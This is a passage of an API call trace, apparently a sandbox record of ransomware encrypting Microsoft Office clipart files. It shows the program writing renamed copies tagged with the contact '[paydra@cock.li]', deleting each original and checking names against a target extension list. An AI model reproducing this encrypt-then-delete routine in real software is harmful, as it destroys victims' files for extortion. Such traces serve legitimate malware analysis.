Office\\CLIPART\\PUB60COR\\AG00057_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00057_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b8 [0051.006] SetFilePointerEx (in: hFile=0x1b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0051.006] SetFilePointerEx (in: hFile=0x1b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0051.006] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00057_.GIF.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00057_.gif.id-9c354b42.[paydra@cock.li].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x228 [0051.006] GetLastError () returned 0x0 [0051.006] ReadFile (in: hFile=0x1b8, lpBuffer=0x3a60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfed4, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesRead=0x2edfed4*=0x2e73, lpOverlapped=0x0) returned 1 [0051.008] WriteFile (in: hFile=0x228, lpBuffer=0x3a60020*, nNumberOfBytesToWrite=0x2e80, lpNumberOfBytesWritten=0x2edfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesWritten=0x2edfc9c*=0x2e80, lpOverlapped=0x0) returned 1 [0051.011] ReadFile (in: hFile=0x1b8, lpBuffer=0x3a60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfed4, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesRead=0x2edfed4*=0x0, lpOverlapped=0x0) returned 1 [0051.011] WriteFile (in: hFile=0x228, lpBuffer=0x3a60020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2edfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesWritten=0x2edfc9c*=0xec, lpOverlapped=0x0) returned 1 [0051.011] SetEndOfFile (hFile=0x228) returned 1 [0051.011] CloseHandle (hObject=0x228) returned 1 [0051.011] SetFilePointerEx (in: hFile=0x1b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0051.011] SetEndOfFile (hFile=0x1b8) returned 1 [0051.012] CloseHandle (hObject=0x1b8) returned 1 [0051.012] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00057_.GIF.id-9C354B42.[paydra@cock.li].html", dwFileAttributes=0x20) returned 1 [0051.012] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00057_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00057_.gif")) returned 1 [0051.013] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00057_.GIF") returned 63 [0051.013] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00057_.GIF") returned 63 [0051.013] lstrlenW (lpString=".doc") returned 4 [0051.013] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0051.013] lstrlenW (lpString=".docx") returned 5 [0051.013] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0051.013] lstrlenW (lpString=".pdf") returned 4 [0051.013] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0051.013] lstrlenW (lpString=".xls") returned 4 [0051.013] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0051.013] lstrlenW (lpString=".xlsx") returned 5 [0051.013] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0051.013] lstrlenW (lpString=".ppt") returned 4 [0051.013] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0051.013] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00057_.GIF") returned 63 [0051.013] lstrlenW (lpString=".zip") returned 4 [0051.013] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0051.013] lstrlenW (lpString=".rar") returned 4 [0051.013] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0051.013] lstrlenW (lpString=".bz2") returned 4 [0051.013] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0051.013] lstrlenW (lpString=".7z") returned 3 [0051.013] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0051.013] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00057_.GIF") returned 63 [0051.013] lstrlenW (lpString=".dbf") returned 4 [0051.013] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0051.013] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00057_.GIF") returned 63 [0051.013] lstrlenW (lpString=".1cd") returned 4 [0051.013] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0051.013] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00057_.GIF") returned 63 [0051.013] lstrlenW (lpString=".jpg") returned 4 [0051.013] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0051.014] GetFileSizeEx (in: hFile=0x1b8, lpFileSize=0x2edff1c | out: lpFileSize=0x2edff1c*=517) returned 1 [0051.014] CloseHandle (hObject=0x1b8) returned 1 [0051.014] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00090_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00090_.gif")) returned 0x20 [0051.014] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00090_.GIF.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00090_.gif.id-9c354b42.[paydra@cock.li].html")) returned 0xffffffff [0051.014] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00090_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00090_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b8 [0051.014] SetFilePointerEx (in: hFile=0x1b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0051.014] SetFilePointerEx (in: hFile=0x1b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0051.014] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00090_.GIF.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00090_.gif.id-9c354b42.[paydra@cock.li].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x228 [0051.014] GetLastError () returned 0x0 [0051.014] ReadFile (in: hFile=0x1b8, lpBuffer=0x3a60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfed4, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesRead=0x2edfed4*=0x205, lpOverlapped=0x0) returned 1 [0051.015] WriteFile (in: hFile=0x228, lpBuffer=0x3a60020*, nNumberOfBytesToWrite=0x210, lpNumberOfBytesWritten=0x2edfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesWritten=0x2edfc9c*=0x210, lpOverlapped=0x0) returned 1 [0051.016] ReadFile (in: hFile=0x1b8, lpBuffer=0x3a60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfed4, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesRead=0x2edfed4*=0x0, lpOverlapped=0x0) returned 1 [0051.016] WriteFile (in: hFile=0x228, lpBuffer=0x3a60020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2edfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesWritten=0x2edfc9c*=0xec, lpOverlapped=0x0) returned 1 [0051.016] SetEndOfFile (hFile=0x228) returned 1 [0051.016] CloseHandle (hObject=0x228) returned 1 [0051.016] SetFilePointerEx (in: hFile=0x1b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0051.016] SetEndOfFile (hFile=0x1b8) returned 1 [0051.017] CloseHandle (hObject=0x1b8) returned 1 [0051.017] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00090_.GIF.id-9C354B42.[paydra@cock.li].html", dwFileAttributes=0x20) returned 1 [0051.017] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00090_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00090_.gif")) returned 1 [0051.017] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00090_.GIF") returned 63 [0051.017] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00090_.GIF") returned 63 [0051.017] lstrlenW (lpString=".doc") returned 4 [0051.017] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0051.018] lstrlenW (lpString=".docx") returned 5 [0051.018] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0051.018] lstrlenW (lpString=".pdf") returned 4 [0051.018] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0051.018] lstrlenW (lpString=".xls") returned 4 [0051.018] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0051.018] lstrlenW (lpString=".xlsx") returned 5 [0051.018] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0051.018] lstrlenW (lpString=".ppt") returned 4 [0051.018] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0051.018] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00090_.GIF") returned 63 [0051.018] lstrlenW (lpString=".zip") returned 4 [0051.018] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0051.018] lstrlenW (lpString=".rar") returned 4 [0051.018] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0051.018] lstrlenW (lpString=".bz2") returned 4 [0051.018] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0051.018] lstrlenW (lpString=".7z") returned 3 [0051.018] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0051.018] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00090_.GIF") returned 63 [0051.018] lstrlenW (lpString=".dbf") returned 4 [0051.018] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0051.018] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00090_.GIF") returned 63 [0051.018] lstrlenW (lpString=".1cd") returned 4 [0051.018] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0051.018] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00090_.GIF") returned 63 [0051.018] lstrlenW (lpString=".jpg") returned 4 [0051.018] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0051.018] GetFileSizeEx (in: hFile=0x1b8, lpFileSize=0x2edff1c | out: lpFileSize=0x2edff1c*=502) returned 1 [0051.019] CloseHandle (hObject=0x1b8) returned 1 [0051.019] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00092_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00092_.gif")) returned 0x20 [0051.019] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00092_.GIF.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00092_.gif.id-9c354b42.[paydra@cock.li].html")) returned 0xffffffff [0051.019] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00092_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00092_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b8 [0051.019] SetFilePointerEx (in: hFile=0x1b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0051.019] SetFilePointerEx (in: hFile=0x1b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0051.019] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00092_.GIF.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00092_.gif.id-9c354b42.[paydra@cock.li].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x228 [0051.019] GetLastError () returned 0x0 [0051.019] ReadFile (in: hFile=0x1b8, lpBuffer=0x3a60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfed4, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesRead=0x2edfed4*=0x1f6, lpOverlapped=0x0) returned 1 [0051.020] WriteFile (in: hFile=0x228, lpBuffer=0x3a60020*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x2edfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesWritten=0x2edfc9c*=0x200, lpOverlapped=0x0) returned 1 [0051.021] ReadFile (in: hFile=0x1b8, lpBuffer=0x3a60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfed4, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesRead=0x2edfed4*=0x0, lpOverlapped=0x0) returned 1 [0051.021] WriteFile (in: hFile=0x228, lpBuffer=0x3a60020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2edfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesWritten=0x2edfc9c*=0xec, lpOverlapped=0x0) returned 1 [0051.021] SetEndOfFile (hFile=0x228) returned 1 [0051.021] CloseHandle (hObject=0x228) returned 1 [0051.021] SetFilePointerEx (in: hFile=0x1b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0051.021] SetEndOfFile (hFile=0x1b8) returned 1 [0051.022] CloseHandle (hObject=0x1b8) returned 1 [0051.022] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00092_.GIF.id-9C354B42.[paydra@cock.li].html", dwFileAttributes=0x20) returned 1 [0051.022] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00092_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00092_.gif")) returned 1 [0051.022] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00092_.GIF") returned 63 [0051.022] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00092_.GIF") returned 63 [0051.022] lstrlenW (lpString=".doc") returned 4 [0051.022] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0051.022] lstrlenW (lpString=".docx") returned 5 [0051.022] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0051.022] lstrlenW (lpString=".pdf") returned 4 [0051.022] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0051.022] lstrlenW (lpString=".xls") returned 4 [0051.022] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0051.023] lstrlenW (lpString=".xlsx") returned 5 [0051.023] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0051.023] lstrlenW (lpString=".ppt") returned 4 [0051.023] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0051.023] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00092_.GIF") returned 63 [0051.023] lstrlenW (lpString=".zip") returned 4 [0051.023] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0051.023] lstrlenW (lpString=".rar") returned 4 [0051.023] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0051.023] lstrlenW (lpString=".bz2") returned 4 [0051.023] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0051.023] lstrlenW (lpString=".7z") returned 3 [0051.023] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0051.023] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00092_.GIF") returned 63 [0051.023] lstrlenW (lpString=".dbf") returned 4 [0051.023] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0051.023] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00092_.GIF") returned 63 [0051.023] lstrlenW (lpString=".1cd") returned 4 [0051.023] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0051.023] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00092_.GIF") returned 63 [0051.023] lstrlenW (lpString=".jpg") returned 4 [0051.023] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0052.033] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x2edff1c | out: lpFileSize=0x2edff1c*=12702) returned 1 [0052.038] CloseHandle (hObject=0x1e0) returned 1 [0052.040] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00103_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00103_.gif")) returned 0x20 [0052.051] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00103_.GIF.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00103_.gif.id-9c354b42.[paydra@cock.li].html")) returned 0xffffffff [0052.056] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00103_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00103_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0052.058] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0052.064] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0052.069] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00103_.GIF.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00103_.gif.id-9c354b42.[paydra@cock.li].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0052.070] GetLastError () returned 0x0 [0052.070] ReadFile (in: hFile=0x1e0, lpBuffer=0x3a60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfed4, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesRead=0x2edfed4*=0x319e, lpOverlapped=0x0) returned 1 [0052.105] WriteFile (in: hFile=0x19c, lpBuffer=0x3a60020*, nNumberOfBytesToWrite=0x31a0, lpNumberOfBytesWritten=0x2edfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesWritten=0x2edfc9c*=0x31a0, lpOverlapped=0x0) returned 1 [0052.117] ReadFile (in: hFile=0x1e0, lpBuffer=0x3a60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfed4, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesRead=0x2edfed4*=0x0, lpOverlapped=0x0) returned 1 [0052.120] WriteFile (in: hFile=0x19c, lpBuffer=0x3a60020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2edfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesWritten=0x2edfc9c*=0xec, lpOverlapped=0x0) returned 1 [0052.122] SetEndOfFile (hFile=0x19c) returned 1 [0052.126] CloseHandle (hObject=0x19c) returned 1 [0052.132] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0052.132] SetEndOfFile (hFile=0x1e0) returned 1 [0052.133] CloseHandle (hObject=0x1e0) returned 1 [0052.133] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00103_.GIF.id-9C354B42.[paydra@cock.li].html", dwFileAttributes=0x20) returned 1 [0052.133] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00103_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00103_.gif")) returned 1 [0052.133] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00103_.GIF") returned 63 [0052.133] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00103_.GIF") returned 63 [0052.133] lstrlenW (lpString=".doc") returned 4 [0052.133] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0052.133] lstrlenW (lpString=".docx") returned 5 [0052.133] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0052.133] lstrlenW (lpString=".pdf") returned 4 [0052.133] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0052.133] lstrlenW (lpString=".xls") returned 4 [0052.133] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0052.133] lstrlenW (lpString=".xlsx") returned 5 [0052.133] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0052.133] lstrlenW (lpString=".ppt") returned 4 [0052.134] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0052.134] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00103_.GIF") returned 63 [0052.134] lstrlenW (lpString=".zip") returned 4 [0052.134] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0052.134] lstrlenW (lpString=".rar") returned 4 [0052.134] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0052.134] lstrlenW (lpString=".bz2") returned 4 [0052.134] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0052.134] lstrlenW (lpString=".7z") returned 3 [0052.134] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0052.134] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00103_.GIF") returned 63 [0052.134] lstrlenW (lpString=".dbf") returned 4 [0052.134] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0052.134] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00103_.GIF") returned 63 [0052.134] lstrlenW (lpString=".1cd") returned 4 [0052.134] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0052.134] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00103_.GIF") returned 63 [0052.134] lstrlenW (lpString=".jpg") returned 4 [0052.134] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0052.134] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x2edff1c | out: lpFileSize=0x2edff1c*=9248) returned 1 [0052.134] CloseHandle (hObject=0x1e0) returned 1 [0052.135] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00170_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00170_.gif")) returned 0x20 [0052.135] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00170_.GIF.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00170_.gif.id-9c354b42.[paydra@cock.li].html")) returned 0xffffffff [0052.135] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00170_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00170_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0052.135] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0052.135] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0052.135] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00170_.GIF.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00170_.gif.id-9c354b42.[paydra@cock.li].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0052.135] GetLastError () returned 0x0 [0052.135] ReadFile (in: hFile=0x1e0, lpBuffer=0x3a60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfed4, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesRead=0x2edfed4*=0x2420, lpOverlapped=0x0) returned 1 [0052.137] WriteFile (in: hFile=0x19c, lpBuffer=0x3a60020*, nNumberOfBytesToWrite=0x2430, lpNumberOfBytesWritten=0x2edfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesWritten=0x2edfc9c*=0x2430, lpOverlapped=0x0) returned 1 [0052.138] ReadFile (in: hFile=0x1e0, lpBuffer=0x3a60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfed4, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesRead=0x2edfed4*=0x0, lpOverlapped=0x0) returned 1 [0052.138] WriteFile (in: hFile=0x19c, lpBuffer=0x3a60020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2edfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesWritten=0x2edfc9c*=0xec, lpOverlapped=0x0) returned 1 [0052.138] SetEndOfFile (hFile=0x19c) returned 1 [0052.138] CloseHandle (hObject=0x19c) returned 1 [0052.138] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0052.138] SetEndOfFile (hFile=0x1e0) returned 1 [0052.139] CloseHandle (hObject=0x1e0) returned 1 [0052.139] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00170_.GIF.id-9C354B42.[paydra@cock.li].html", dwFileAttributes=0x20) returned 1 [0052.139] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00170_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00170_.gif")) returned 1 [0052.139] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00170_.GIF") returned 63 [0052.139] lstrlenW (lpString="C:\\Program Files\\Microsoft 